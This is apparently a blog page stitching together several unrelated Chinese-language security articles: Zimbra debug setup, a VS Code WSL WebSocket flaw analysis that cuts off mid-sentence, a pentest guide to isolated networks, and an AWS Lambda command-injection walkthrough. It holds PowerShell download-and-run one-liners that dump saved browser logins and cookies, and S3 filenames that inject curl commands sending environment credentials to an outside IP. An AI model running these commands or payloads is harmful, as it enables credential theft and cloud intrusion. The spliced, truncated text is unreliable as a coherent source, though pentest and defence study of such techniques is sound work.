Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863115630

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

0x00 前言本文記錄從零開始搭建Zimbra漏洞調試環境的細節。

0x01 簡介本文將要介紹以下內容:

Zimbra服務器開啟調試模式

本地使用IDEA進行遠程調試

常用知識

0x02 Zimbra服務器開啟調試模式相關資料:

https://github.com/Zimbra-Community/zimbra-tools/blob/master/java-debug-zimbra-intellij-ide.md

詳細步驟如下:

1.停止Zimbra服務image.png

2.開啟調試模式image.png

此處先備份zmmailboxdmgr,再使用zmmailboxdmgr.unrestricted替換zmmailboxdmgr

3.添加調試信息image.png

注:

也可以直接修改/opt/zimbra/conf/localconfig.xml中的mailboxd_java_options屬性值

4.關閉防火牆image.png

5.重啟服務image.png

0x03 本地使用IDEA進行遠程調試1.下載jar文件本地使用IDEA進行遠程調試時,本地和遠程的代碼需要保持一致,也就是說,我們需要拿到zimbra相關的jar文件

zimbra文件位置:

/opt/zimbra/common/jetty_home/lib/

/opt/zimbra/common/jetty_home/lib/apache-jsp/

2.批量導入jar文件新建java工程,依次選擇File-Project Structure.在Libraries下選擇New Project Library-Java,設置為c:\zimbrajar\

3.添加斷點在External Libraries-zimbrajar下面打開.class文件,在合適的位置添加斷點

4.設置遠程調試參數頂部菜單欄選擇Add Configuration.在彈出的頁面中選擇Remote JVM Debug,填入遠程調試參數,參數示例:

image.png

使用的JDK選擇JDK 5-8

5.開啟Debug模式回到IDEA主頁面,選擇剛才的配置文件,點擊Debug圖標(快捷鍵Shift+F9)

如果遠程調試執行成功,斷點圖標會發生變化,增加一個對號

此時,Console頁面顯示如下:

image.png

0x04 常用知識Zimbra使用Jetty框架作為web容器

用戶在訪問jsp文件時,服務器先將JVM不認識的JSP文件解析成java文件,保存路徑為:/opt/zimbra/jetty_base/work/zimbra/jsp/org/apache/jsp/

每個jsp文件被成功訪問後,都會註冊一個JspServletWrapper實例,我們可以通過調試器查看request變量獲得所有已註冊的JspServletWrapper實例,也可以通過反射的方式以jsp文件的形式進行枚舉

jsp文件代碼示例:

image.png

整個反射的邏輯來自於跟踪調試的結果,實現邏輯不唯一,枚舉JspServletWrapper實例用到了ConcurrentHashMap枚舉

0x05 小結在我們搭建好Zimbra漏洞調試環境後,接下來就可以著手對漏洞和Jetty框架進行研究學習。

適用於Linux 的Windows 子系統中的Visual Studio Code 服務器使用本地WebSocket WebSocket 連接與遠程WSL 擴展進行通信。網站中的JavaScript 可以連接到該服務器並在目標系統上執行任意命令。目前該漏洞被命名為CVE-2021-43907。

這些漏洞可以被用於:

本地WebSocket 服務器正在監控所有接口。如果允許通過Windows 防火牆,外部應用程序可能會連接到此服務器。

本地WebSocket 服務器不檢查WebSocket 握手中的Origin 標頭或具有任何身份驗證模式。瀏覽器中的JavaScript 可以連接到該服務器。即使服務器正在監控本地主機,也是如此。

我們可以在特定端口上生成一個Node Inspector示例,它還監控所有接口。外部應用程序可以連接到它。

如果外部應用程序或本地網站可以連接到這些服務器中的任何一個,它們就可以在目標計算機上運行任意代碼。

關於源代碼的說明Visual Studio Code 庫是不斷更新的。我將使用一個特定的提交(b3318bc0524af3d74034b8bb8a64df0ccf35549a)。

$gitclonehttps://github.com/microsoft/vscode$gitreset--hardb3318bc0524af3d74034b8bb8a64df0ccf35549a我們可以使用Code (lol) 來導航源代碼。事實上,我已經在WSL 中為這個漏洞創建了具有相同擴展名的概念驗證。

Visual Studio Code在WSL 內以服務器模式運行,並與Windows 上的代碼示例對話(我稱之為代碼客戶端)。這使我們可以在WSL 中編輯文件和運行應用程序,而不需要運行其中的所有內容。

3.png

遠程開發架構

可以通過SSH 和容器在遠程計算機上進行遠程開發。 GitHub Codespaces 使用相同的技術(很可能通過容器)。

在Windows 上使用它的方法:

1.打開一個WSL終端示例,在Windows上的代碼中應該可以看到遠程WSL擴展;

2.在WSL 中運行code /path/to/something;

3.如果未安裝代碼服務器或已過時,則會下載它;

4.VS Code 在Windows 上運行;

5.你可能會收到一個Windows 防火牆彈出窗口,用於執行如下所示的可執行文件:

4.png

服務器的防火牆對話框

這個防火牆對話框是我執行失敗的原因。出現該對話框是因為VS Code 服務器想要監控所有接口。

從我信任的Process Monitor開始:

1.運行進程監控器;

2.在WSL中運行code .

3.Tools Process Tree;

4.我運行代碼(例如,Windows Terminal.exe)的終端示例中運行Add process and children to Include filte。

5.png

Procmon 的進程樹

經過一番挖掘,我發現了VSCODE_WSL_DEBUG_INFO 環境變量。我只是在WSL 中將export VSCODE_WSL_DEBUG_INFO=true 添加到~/.profile 。運行服務器後我們會得到額外的信息。

6.png

VSCODE_WSL_DEBUG_INFO=true

輸出被清理。

7.png

檢查命令行參數。

8.png

可以看到出現了WebSocket詞彙。

運行Wireshark 並捕獲loopback接口上的流量。然後我再次在WSL 中運行代碼。這次可以看到兩個WebSocket 握手。

9.png

在Wireshark 中捕獲的WebSocket 連接

該運行中的服務器端口是63574,我們也可以從日誌中看到。在Windows 上的代碼客戶端中打開命令面板(ctrl+shift+p) 並運行Remote-WSL: Show Log。

10.png

遠程WSL:顯示日誌

最後一行有端口:在http://127.0.0.1:63574/version 上打開本地瀏覽器。我們還可以看到從Windows 上的Code 客戶端到服務器的兩個單獨的WebSocket 連接。

11.png

為什麼要監聽所有接口?服務器是位於/src/vs/server/remoteExtensionHostAgentServer.ts#L207 的RemoteExtensionHostAgentServer 的一個示例。

它被createServer 在同一個文件中使用,我們可以使用Code (lol) 找到它的引用並追踪到remoteExtensionHostAgent.ts(同一目錄)。

12.png

可以根據註釋查看main.js 內部。

13.png

打開文件,看到服務器可以從傳遞給main.js的參數中獲得主機和端口。

14.png

main.js 被server.sh 調用:

15.png

沒有IP 地址傳遞給腳本,我認為這就是為什麼服務器監控所有有趣的事情。 port=0 可能告訴服務器使用臨時端口,此信息來自同一目錄中的wslServer.sh。

本地WebSocket 服務器每次看到本地WebSocket 服務器時,都應該檢查誰可以連接到它。

WebSocket 連接不受同源策略約束,瀏覽器中的JavaScript 可以連接到本地服務器。

WebSockets 從握手開始,在跨源資源共享或CORS 的上下文中它始終是一個“簡單”的GET 請求,因此瀏覽器不需要預先請求就可以發送它。

測試本地WebSocket 服務器可以快速創建一個嘗試連接到特定端口上的本地WebSocket服務器的測試頁面,將它託管在某個遠程位置(例如,S3 存儲桶)並在計算機上打開它。如果連接成功,就可以繼續操作了。

我還檢查了Burp,在Burp Repeater 中創建了WebSocket 握手。將Origin 標頭修改為https://example.net。如果響應具有HTTP/1.1 101 交換協議,那麼就可以繼續了。

16.png

在Burp 中測試

注意,這只對本地主機服務器有影響。這裡的服務器也對外公開,攻擊者不受瀏覽器約束。它們可以直接連接到服務器並提供任何Origin 標頭。

逆向工程協議接下來是查看Wireshark 中的流量,右鍵點擊之前的WebSocket握手GET請求,然後選擇Follow TCP Stream。我們將看到一個帶有一些可讀文本的屏幕。關閉它,只會看到這個進程的數據包,這允許我們只關注這個進程。

你可能會問為什麼我關閉了僅包含消息內容的彈出窗口,因為沒有用。根據RFC6455,從客戶端到服務器的消息必須被屏蔽。這意味著它們與一個4 字節的密鑰(也隨消息一起提供)進行了異或運算。 Wireshark 在選擇時取消屏蔽每個數據包,但有效載荷在初始進程彈出窗口中顯示為屏蔽。所以我們將看到純文本的服務器消息,而客戶端消息被屏蔽並出現亂碼。如果你點擊單個消息,Wireshark 就會顯示有效載荷。

我花了幾天時間對協議進行逆向工程。後來,我意識到只能在/src/vs/base/parts/ipc/common/ipc.net.ts 中看到協議的源代碼。

17.png

協議握手來自服務器的第一條消息是KeepAlive 消息。

18.png

在協議定義中,我們可以看到不同的消息類型。

19.png

在/src/vs/platform/remote/common/remoteAgentConnection.ts 中,它在代碼的其他部分被稱為OKMessage 和heartbeat。

20.png

客戶端在/src/vs/platform/remote/common/remoteAgentConnection.ts的connectToRemoteExtensionHostAgent中處理此問題。客戶端(Windows上的代碼)發送這個包,它是一個KeepAlive和一個單獨的認證消息。

21.png

最初,我認為長度字段是12 個字節而不是4 個字節,因為其餘的字節總是空的。然後我意識到只有常規消息使用消息ID 和ACK 字段,而且我只看到了不規則的握手消息。

22.png

在修復之前,沒有勾選此選項。

23.png

注意:在2021-11-09 更新之前(commit b3318bc0524af3d74034b8bb8a64df0ccf35549a)客戶端沒有發送數據。但是,使用此提交,我們仍然可以在沒有此密鑰的情況下發送消息並且它會起作用。這是我們給服務器簽名的內容,以檢查連接到正確的服務器。

服務器響應一個簽名請求。

24.png

另一個JSON 對象:

25.png

服務器已經簽名了我們在前一條消息中發送的數據,並用它自己的數據請求進行了響應。

客戶端驗證簽名的數據,以檢查它是否是受支持的服務器。當創建我們的客戶端時,可以簡單地跳過。

26.png

DRM使用options.signService.validate 方法,然後就會得到/src/vs/platform/sign/node/signService.ts。

27.png

vsda 是一個用C++ 編寫的Node 原生插件,將Node 原生插件視為共享庫或DLL。該插件位於https://github.com/microsoft/vsda 的私有存儲庫中,根據https://libraries.io/npm/vsda/的說法,直到2019年左右,它都是一個NPM包。

它與VS Code 客戶端和服務器捆綁在一起:

Windows系統:

C:\Program Files\Microsoft VS Code\resources\app\node_modules.asar.unpacked\vsda\build\Release\vsda.node

服務器(WSL):~/.vscode-server/bin/{commit}/node_modules/vsda/build/Release/vsda.node。

我找到了https://github.com/kieferrm/vsda-example,並通過一些實驗找到瞭如何使用它創建和簽名消息。

1.用msg1=validator.createNewMessage('1234')創建一個新消息,輸入至少4個字符。

2.使用signed1=signer.sign(msg1)進行簽名。

3.使用validator.validate(signed1) 對其進行驗證,響應為“ok”。

需要注意的是,如果你創建了新消息,則無法再驗證舊消息。在源代碼中,每條消息都有自己的驗證器。

28.png

Linux 版本有符號,大小約為40 KB。把它放到IDA/Ghidra 中,應該就可以開始了。

我花了一些時間,想出了這個偽代碼。可能不太正確,但可以讓你大致了解此簽名的工作原理。

1.用當前時間+ 2*(msg[0]) 初始化srand,它只會創建0 到9(含)之間的隨機數;

2.從許可證數組中附加兩個隨機字符;

3.從salt 數組中附加一個隨機字符;

4.SHA256;

5.Base64;

6.

7.Profit。

29.png

僅從許可證數組中選擇前10 個位置的字符,它總是rand() % 10 ,但salt 數組翻了一番。

許可證數組的字符串如下所示:

30.png

salt 數組的前32 個字節(查找Handshake:CHandshakeImpl:s_saltArray)是:

31.png

我從來沒有真正檢查過我的分析是否正確,不過這無關緊要,知道如何使用插件簽名消息,這就足夠了。

接下來,客戶端需要簽名來自服務器的數據並將其發送回來,以顯示它是一個“合法”的代碼客戶端。

32.png

服務器響應如下:

33.png

客戶端發送瞭如下消息:

34.png

提交應該匹配服務器的提交哈希。這不是秘密。這可能是最後一個穩定版本提交(或最後幾個之一)。這只是檢查客戶端和服務器是否在同一版本上。它也可以在http://localhost:{port}/version 上找到,你的瀏覽器JavaScript 可能無法看到它,但外部客戶端沒有這樣的限制。

signedData是對我們在前面消息中從服務器獲得的數據進行簽名的結果。

Args是此消息中最重要的部分,它可以告訴服務器在特定端口上啟動一個Node Inspector 示例。

break: 啟動Inspector 示例後中斷。

端口:檢查器示例的端口。

Env:傳遞給檢查器示例進程的環境變量及其值的列表。

Node Inspector 示例可用於調試Node 應用程序。如果攻擊者可以連接到你計算機上的此類示例,那麼攻擊就成功了。 2019 年,Tavis 發現VS Code 默認啟用了遠程調試器。

整個設置旨在允許Windows 上的代碼客戶端在WSL、容器或GitHub

這篇文章是關於常見的錯誤配置和攻擊場景,這些錯誤配置和攻擊場景使攻擊者能夠訪問具有關鍵系統或敏感數據的獨立網絡。

由於種種原因,德國在過去幾年裡對不同行業的公司實施了許多新的法規和法律,以提高他們的網絡安全。規定了持有關鍵基礎設施的所謂KRITIS 公司和組織必須要保持網絡安全。如果這些公司/組織成為具有破壞性動機的高級持續性威脅(APT) 的目標,那麼在最壞的情況下,這可能會對對國家和人民造成嚴重影響。例如,KRITIS的公司已經執行ISO 27001認證,這是信息安全管理系統的網絡安全最佳實踐規範。 KRITIS包含的一些部門如下:

能源部門;

水務部門;

食品行業;

金融和保險;

其他。

1.jpg

由於德國新出台的法律和認證要求,包括KRITIS的公司進行了越來越多的滲透測試和其他安全評估。

可能的攻擊者入口眾所周知的攻擊媒介不僅適用於敏感的獨立網絡,而且適用於所有的IT網絡和組織:

通過互聯網訪問系統的漏洞或錯誤配置,在大多數情況下,這將是缺少多重身份驗證(MFA) 以及弱密碼、Web 應用程序中的漏洞或過時的系統/服務。

缺乏員工意識:例如網絡釣魚或處理任何不良/惡意設備(USB,電纜等)可能導致網絡的初始訪問。在這些場景中,攻擊者大多數時候會訪問Office-IT網絡,而不是進入獨立的網絡。

物理位置安全:如果一個具有物理訪問權限的攻擊者可以直接進入大樓並插入一個非法設備,那麼最孤立的網絡是沒有意義的。根據網絡和環境的不同,也可能有許多小的獨立位置,它們被允許連接到主控製網絡。

供應鏈攻擊:製造商或服務提供商受到威脅,例如,可以通過合法更新交付惡意代碼(類似2020 年的Solarwinds-Hack)。

水坑攻擊:攻擊者破壞目標公司員工經常訪問的網絡服務器。瀏覽器和客戶端因此受到惡意攻擊者託管代碼的威脅,或者可能只是憑證被網絡釣魚攻擊。

前三個攻擊向量可以由滲透測試公司檢查。第四個和第五個不能被審計,因為它需要涉及第三方公司/組織,這在未經他們同意的情況下是非法的。

因此,上述描述涵蓋了前三個攻擊向量:

面向互聯網的關鍵系統漏洞;

通過C2-Stager獲取證書或初始訪問權限的網絡釣魚;

物理位置安全檢查;

橫向移動嘗試從Office-IT進入獨立的網絡;

對獨立網絡本身進行滲透測試;

如上所述,大多數情況下,攻擊者只能通過利用漏洞或忽略防範來訪問Office-IT網絡。這一領域中可能出現的錯誤配置/漏洞將在本文中討論。

雙宿主主機雙主主機是指不僅有一個網絡接口,而且在不同網絡中有多個網絡接口的系統。假設一個運營網絡管理員想要從他的Office-IT客戶端訪問他的控制台。他可以修補一個直接連接到運營網絡,並通過第二個網絡接口將他的客戶端連接到它:

2.JPG

例如,還可以有一個Web 服務器,用於收集和可視化來自遠程網絡的數據:

3.JPG

這些系統因此不受防火牆的保護,防火牆將網絡彼此隔開。

通過雙宿主主機訪問遠程網絡非常簡單,如果攻擊者已經通過最常見的本地漏洞和錯誤配置在Office-IT 域中獲得了更高的權限,他只需pwn 管理員客戶端系統,然後通過例如socks 代理或端口轉發進入遠程網絡。

但是我們如何找到這些雙宿主系統呢?如果你面對的是Windows環境,至少有兩種協議允許我們在沒有身份驗證的情況下枚舉遠程網絡:

NetBIOS;

通過IOXIDResolver 接口進行RPC;

在這兩種情況下,我們根本不需要任何用戶進行枚舉。如果在雙宿主主機上啟用了NetBIOS,我們可以使用工具nextnet 枚舉它的第二個網絡接口。如果你看一下README,用法很簡單:

$nextnet192.168.100.0/24

{'host':'192.168.100.22','port':'137','proto':'udp','probe':'netbios','name':'Horst-PC','nets':['192.168.100.22','10.10.15.22'],'info':{'domain':'office.local','hwaddr':'15:ee:a8:e4:10:a0'}}從輸出信息中可以看到,第二個網絡接口的IP 地址為10.10.15.22。所以我們找到了一個雙宿主主機。這種掃描可能導致誤報,因為任何系統都可以有VPN網絡接口、虛擬機接口等。 Airbus CyberSecurity 在2020 年發布了一篇關於該主題的oxid resolver 博客文章。他們還提供了一個PoC 工具,用於通過IOXIDResolver 接口查找遠程網絡。後來,Vincent LE TOUX 將這種枚舉技術集成到了Pingcastle 中,這使得整個域中所有系統的網絡接口的枚舉變得非常容易。只需啟動它,切換到掃描儀菜單並選擇a-oxidbindings,然後選擇1-all:

5.JPG

我自己也竊取了這段代碼,使其作為獨立的二進製文件工作,SharpOxidResolver準備用於C2。

如果沒有參數,它將在當前域中搜索計算機並獲取所有計算機的綁定。

你也可以通過一個主機名或ip地址來掃描這個特定的目標:

SharpOxidResolver.exe192.168.100.22如果你的目標雙宿主主機未加入域,則必須在服務級別或Web 應用程序級別搜索漏洞以對其進行破壞。你還可以枚舉有關(可能使用的)遠程域的信息。

我剛剛遇到了另一種具有相應工具的技術,可用於查找雙宿主主機,使用cornershot 。

暴露服務中的漏洞在網絡獨立運行中,我們經常向客戶詢問有意通過防火牆允許的目標網絡服務。在極少數情況下,會使用任意塊規則。獨立網絡中最常用的服務如下:

SMB 或SAMBA 共享(端口445):多次用於網絡之間的數據交換;

HTTP/HTTPS Webserver (80,443) :用於數據可視化或狀態監控的Web 應用程序;

MySQL (3306) 或MSSQL (1433) 數據庫:數據交換;

8.JPG

如果你發現端口445 具有網絡共享,則需要執行通常的枚舉或利用步驟。此處的關鍵字將是通過空會話、密碼噴灑或僅分析共享中的數據(如果可訪問)來擺脫循環。在最壞的情況下,攻擊者可以通過SMB 服務創建橫向移動來破壞具有高權限用戶的系統。

查找Web 應用程序漏洞絕對是一個太大且超出本文範圍的主題。但是我們在過去發現了關鍵的Web 應用程序漏洞,這使我們能夠破壞Web 服務器並通過這些漏洞進入目標網絡。

終端服務器或直接訪問我們在不同環境中看到的另一件事是專用終端服務器用作跳轉主機來管理遠程網絡。如果客戶端告訴我,終端服務器正在使用中,我幾乎可以肯定,獲得訪問權限只是時間問題。我們看到的終端服務器實現的常見錯誤如下:

1.未使用多因素身份驗證。 RDP 登錄憑據保存在客戶端系統上。如果客戶端受到威脅,攻擊者可以通過憑據轉儲或鍵盤記錄訪問終端服務器。

2.Internet DMZ 網絡中的終端服務器,想像一個可訪問網絡的系統受到威脅。如果DMZ 系統本身沒有完全相互隔離,攻擊者將可以通過受感染的主機訪問終端服務器服務,例如RDP/SMB/WMI 等。

一些客戶告訴我,他們的終端服務器激活了某種Kiosk 模式。而且我總是告訴他們:¯\_(ツ)_/¯。

其他人根本不使用任何終端服務器,而是直接允許遠程桌面協議、VNC 或其他身份驗證協議。如果你直接允許任何身份驗證協議,攻擊者獲取相應憑據只是時間問題。

共享基礎架構組件在某些項目中,我們還看到了使用Office-IT 共享基礎架構組件的獨立網絡。在這些案例中,我們對Office-IT 的攻擊導致了單獨的網絡攻擊:

1.共享WSUS 服務器:可在此處使用WSUSpendu 等工具向獨立網絡中的系統提供惡意虛假更新。

2.Active Directory 信任:這個利用路徑應該是直截了當的

3.共享DNS 服務器:破壞DNS 服務器的攻擊者可以進入獨立網絡系統的中間人位置(如果他們被允許連接到遠程網絡或Internet)。這在最壞的情況下也可能導致系統攻擊。

4.共享防病毒服務器:根據使用的防病毒軟件,攻擊者可以通過中央服務器破壞連接的客戶端或服務器。 PoC工具的一個例子是在本例中McAfee的BADministration。

5.共享軟件清單服務器:如果你使用第三方軟件進行更新和軟件安裝,中央服務器的危害也可能被濫用以在獨立網絡中的主機上安裝惡意軟件包。

9.JPG

因此,你應該始終向客戶端請求共享的基礎設施組件。手動找到這些可能需要更多的努力,而不僅僅是問這個問題。通常情況下,他們想知道他們的弱點,而你想找到他們。對雙方都有利。如果你有一個黑箱方法,它是關於檢查所有這些可能的組件和它們連接的設備/客戶端/服務器。

防火牆被破壞如果你已經在Office-IT 域中獲得了高權限,則可以進行一些枚舉以查找系統管理員。根據環境,尤其是在較小的環境中,管理員很可能是Domain Admins 組的成員,並且擁有個性化的帳戶。這是一個不好的做法,但讓我們很快找到它們。

netgroup'DomainAdmins'/domain如果使用了跳轉服務器,你可以通過過濾Bloodhound中的大多數管理會話系統來找到它。否則,系統可能在它的描述字段,甚至在主機名中有一個跳轉或管理員。我將只展示AD-Module的枚舉方式,它可以通過以下方式導入:

iex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Creds/master/PowershellScripts/ADModuleImport.ps1')or

Import-ModuleActiveDirectoryPowershell腳本基本上是通過Assembly:load解碼和導入的AD-Module DLL base64,所以它可以在任何客戶端或服務器上工作,而無需額外安裝。然後你可以用以下命令查詢計算機的描述字段:

Get-ADComputer-Filter{Description-Like'*admin*'}-PropertiesDescription|SelectDescription或者

Get-ADComputer-Filter{Name-Like'*admin*'}|SelectName防火牆也可能有與Active Directory相關的組,因為防火牆管理員有一個單獨的電子郵件收件箱或文檔的網絡共享。

Get-AdGroup -Filter {name-like '*firewall*'-and name-like '*sophos*'-and name-like '*anyothervendor*'}

你還可以在網絡共享、電子郵件、Intranet/Sharepoint等中找到有關管理帳戶或跳轉主機的信,很多枚舉方法也和往常一樣。

在找到正確的組或用戶後,你可以通過任何橫向移動技術(如SMB/WMI/WinRM等)破壞系統或跳轉主機。我個人經常通過查找保存在瀏覽器中的密碼成功獲得防火牆證書。任何瀏覽器都有工具,在寫這篇文章的時候最常用的瀏覽器是Chrome,所以我要展示我認為最好的工具——SharpChromium:

AMSIBypassiex(new-objectnet.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpChromium.ps1')Invoke-SharpChromium-Command'logins'如果用戶沒有保存憑據但登錄到防火牆管理頁面,你還可以通過以下方式轉儲cookie:

Invoke-SharpChromium-Command'cookies'並使用擴展Cookie 編輯器將它們導入你自己的瀏覽器。這也授予身份驗證。要轉儲用戶憑據,你通常需要在用戶上下文中執行該工具。或者,你可以使用SYSTEM 的主密鑰解密所有DPAPI 密鑰。這需要一個SYSTEM shell,例如LaZagne 就是這樣做的。要在用戶上下文中獲取shell,你可以使用令牌模擬或將C2-Stager shellcode 注入目標用戶的進程。我只是專門為此目的構建了一個自定義的TokenVator 工具,它將在大約一個月內公開發布。 SharpImpersonation

如果使用單點登錄進行身份驗證,你也可以只轉儲用戶憑據並使用他的域帳戶登錄。任何其他遠程系統管理軟件也可以保存所需的憑據,因此請查看MobaXterm、MremoteNG、WinSCP 等。如果你有足夠的時間,鍵盤記錄用戶遲早也會給你憑據。

獲得防火牆憑據後,可以通過添加自己的訪問規則來訪問獨立的網絡。

從Office IT(也就是域管理)進行枚舉並不是最終目標

一些客戶,他們不願意給我們任何關於網絡或基礎設施的信息。因此,我們不得不堅持“黑匣子”的方法,自己尋找所有必要的信息。因此,在通過Common vulnerability提升特權後,我們必須搜索關於獨立網絡的信息。

緩解措施最高的保護將來自物理隔離,而不是使用防火牆。這將消除本文中除了實際站點安全和員工意識之外的所有風險。

如果不需要,請禁用敏感網絡的互聯網訪問和遠程網絡訪問。如果完全隔離,許多風險就會自動消失。

如果不需要,不要使用雙宿主主機。如果你沒有別的選擇,那就使用主機防火牆來阻止來自不需要訪問的系統的任何流量。針對少數需要訪問的設備的白名單應該是最合適的。攻擊者從連接的系統竊取憑證的風險仍然存在。

最好的保護措施顯然是完全不開放端口。

不要重複使用來自其他(未受保護的)網絡的任何基礎設施組件,這可能導致敏感網絡受到攻擊。

在客戶端或跳轉主機上的任何軟件中保存憑據都不是一個好主意,使用MFA的密碼管理器代替。還應該對跳轉主機進行加固,使攻擊者更難訪問它們。

使用來自不同供應商的兩個防火牆。我們分析了環境,其中客戶IT團隊只管理第一個,而第二個由第三方供應商管理。這幾乎完全消除了通過利用或提取憑證來破壞防火牆的風險。

在本文中,我們將從黑盒測試和白盒測試的角度為大家解釋一個真實的攻擊場景:攻擊者是如何使用易受攻擊的AWS Lambda函數獲得對雲環境的初始訪問權限的。最後,我們將為大家介紹針對這種攻擊手法的最佳防禦實踐。

眼下,無服務器技術正在成為業務應用程序的主流,有了它,用戶無需管理底層基礎設施即可實現可擴展性、性能和成本效益。並且,這些工作負載可以輕鬆擴展到每秒數千個並發請求。實際上,雲環境中使用最多的無服務器服務之一,就是AWS Lambda服務。

在考察應用程序的時候,一個基本要素就是安全性。比如,代碼中的錯誤或缺乏用戶輸入驗證不僅可能會導致功能受損,而且還可能導致雲帳戶被入侵。

關於AWS Lambda函數AWS Lambda是一種事件驅動的無服務器計算服務,允許運行用不同編程語言編寫的代碼,從而實現基於雲環境的自動化操作。

這種方法的主要優勢之一是,Lambda是在由AWS直接管理的高可用計算基礎結構中運行我們的代碼的。也就是說,與底層基礎設施相關的所有管理活動,包括服務器和操作系統維護、自動伸縮、修補和日誌記錄等,都是由雲供應商替我們完成的。

用戶只需在這些服務上運行實現自己所需功能的代碼就可以了。

安全共擔之痛對於雲環境的安全來說,雖然本質上是由雲供應商來管理的,但仍然允許用戶進行相應的配置,所以,安全問題和風險實際上與參與雙方共擔的。

1.png

由於用戶無法控制特定Lambda函數背後的基礎設施,因此,底層基礎設施的安全風險實際上是由雲供應商直接管理的。

通過AWS IAM,用戶可以限制lambda函數及其組件的訪問權限和允許的操作。如果對IAM角色或Lambda函數使用的對象的權限配置出錯,可能會造成嚴重的後果,導致雲環境被攻擊者拿下。更重要的是,在Lambda函數中實現的代碼是由用戶控制的,正如我們在後門所看到的,如果代碼中存在安全漏洞,該函數則可能被攻擊者用來訪問云賬戶並進行橫向移動。

攻擊場景我們將使用兩種不同的測試方法來考察兩個攻擊場景:黑盒測試和白盒測試,這是滲透測試中用來評估特定基礎設施、應用程序或功能的安全態勢的兩種主要測試方法。

從不同的角度來看Lambda函數將有助於更深入、更全面地了解我們函數的安全態勢,並幫助我們更好地理解可能的攻擊和相關風險。

黑盒測試與白盒測試進行黑盒測試時,攻擊方並不具備環境本身和軟件系統內部原理的任何信息。在這種測試方法中,攻擊者需要對特定功能的邏輯背後可能隱藏的內容做出假設,並不斷測試這些假設,以找到切入點。對於我們的場景,攻擊者既沒有云環境的任何訪問權限,也沒有任何關於雲環境或帳戶中可用的功能和角色的內部信息。

在白盒測試中,由於攻擊者已經獲得了內部信息,因此,他們可以在攻擊過程中利用這些信息。在進行這種測試時,我們假設攻擊者擁有查找可能的漏洞和安全問題所需的所有信息。

因此,白盒測試被認為是最全面的測試方式。在我們的場景中,攻擊者在雲環境中具有隻讀的初始訪問權限,他們可以使用這些信息來評估已經部署的東西,以更好地鎖定攻擊目標。

#1黑盒測試場景

1.png

在這個攻擊場景中,攻擊者發現一個S3桶因為配置有誤而向公眾開放,其中含有公司的各種文件。

攻擊者能夠將文件上傳到存儲桶中,並在上傳後檢查文件配置。儘管攻擊者對Lambda中實現的代碼一無所知,但仍可以通過Lambda函數來獲得每個上傳文件的標籤。

我們可以使用AWS CLI來列出prod-file-bucket-eu這個桶內的所有對象。

awss3lsprod-file-bucket-eu 1.png

我們通過上傳文件獲得信息的一種方式就是檢查標籤,看看是否可以找到一些有用的信息。使用get-object-tagging,我們可以看到分配給該文件的標籤如下所示:

awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip 1.png

這些標籤肯定是自定義的,並在將文件上傳到存儲桶時動態添加。據推測,應該存在一種函數,用於添加與文件大小和路徑相關的標籤。

使用curl或awscli,我們可以嘗試上傳一個zip文件,看看標籤是否會自動添加到我們的文件中。

awss3cpconfig.zips3://prod-file-bucket-eu/

curl-XPUT-Tconfig.zip\

-H'Host:prod-file-bucket-eu.s3.amazonaws.com'\

-H'Date:Thu,02Dec202115:47:04+0100'\

-H'Content-Type:${contentType}'\

http://prod-file-bucket-eu.s3.amazonaws.com/config.zip一旦文件上傳,我們可以檢查文件標籤,結果表明標籤已經自動添加。

awss3apiget-object-tagging--bucketprod-file-bucket-eu--keyconfig161.zip 1.png

所以,我們可以非常確定的一點是:這些值背後存在一個AWS Lambda函數。當一個新對像在存儲桶中創建時,該函數似乎就會被觸發。當然,Path和Size這兩個標籤,似乎是為每個文件動態計算的,可能是通過執行OS命令檢索到的信息。

我們可以假設文件名用於在操作系統中查找文件,併計算文件大小。換句話說,文件名可能是用戶輸入,在OS命令中使用它來檢索要放入標籤中的信息。如果缺少用戶輸入驗證,攻擊者就可以通過向計算機提交精心構造的輸入來執行任意命令。

在這種情況下,我們可以嘗試在文件名中註入其他命令來實現遠程代碼執行。使用分號連接命令是將任意命令附加到用戶輸入中的一種常見方法,這樣,如果用戶輸入沒有得到很好的過濾,代碼就可能會執行這些命令。

讓我們嘗試追加命令curl來打開與另一個EC2的連接,為此,我們可以使用POST方法發送測試消息“testrceCurl”。

awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'testRCECurl'3.80.92.111:443;'從下面的屏幕中,我們可以看到命令已正確執行,並且我們收到了連接和POST消息。

1.png

通過這種方式,我們證明了用戶輸入根本沒有經過驗證,因此,我們可以在AWS Lambda OS上成功地執行任意命令。我們可以利用這個安全漏洞直接訪問云環境。

提取AWS憑據的方法之一,就是通過env變量。在這方面,我們已經證明,我們可以回連攻擊者的機器,並將env變量的內容髮送到POST消息中,以從中提取信息。

awss3cpconfig.zip's3://prod-file-bucket-eu/screen;curl-XPOST-d'`env`'3.80.92.111:443;zip' 1.png

使用curl命令,我們成功地獲取了雲憑據,並且可以使用這些憑據登錄到雲帳戶。這樣,我們就可以導入AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY和AWS_SESSION_TOKEN,從get-caller-identity輸出中可以看到,我們登錄成功了。

awsstsget-caller-identity

{

'UserId':'AROA2PVZZYWS7MCERGTMS:corpFuncEasy',

'Account':'AccountID',

'Arn':'arn:aws:sts:AccountID:assumed-role/corpFuncEasy/corpFuncEasy'

}一旦進入,攻擊者就可以啟動枚舉過程來評估獲得的特權,並查看是否存在進一步提升雲帳戶特權的路徑。

#1白盒測試場景

1.png

下面,讓我們對前面提出的相同攻擊場景——攻擊者發現了配置錯誤的S3存儲桶——進行白盒測試。在這種情況下,攻擊者可以通過網絡釣魚竊取憑據來訪問云環境,而受攻擊的用戶帳戶權限為:只讀權限。

由於具有隻讀訪問權限,攻擊者可以合併從lambda函數中實現的代碼中獲得的信息,以更好地發動針對性攻擊。

讓我們從檢查獲得的憑據是否對登錄雲帳戶有效開始入手。

awsstsget-caller-identity

{

'UserId':'AIDA2PVZZYWS3MXZKDH66',

'Account':'AccountID',

'Arn':'arn:aws:iam:AccountID:user/operator'

} 1.png

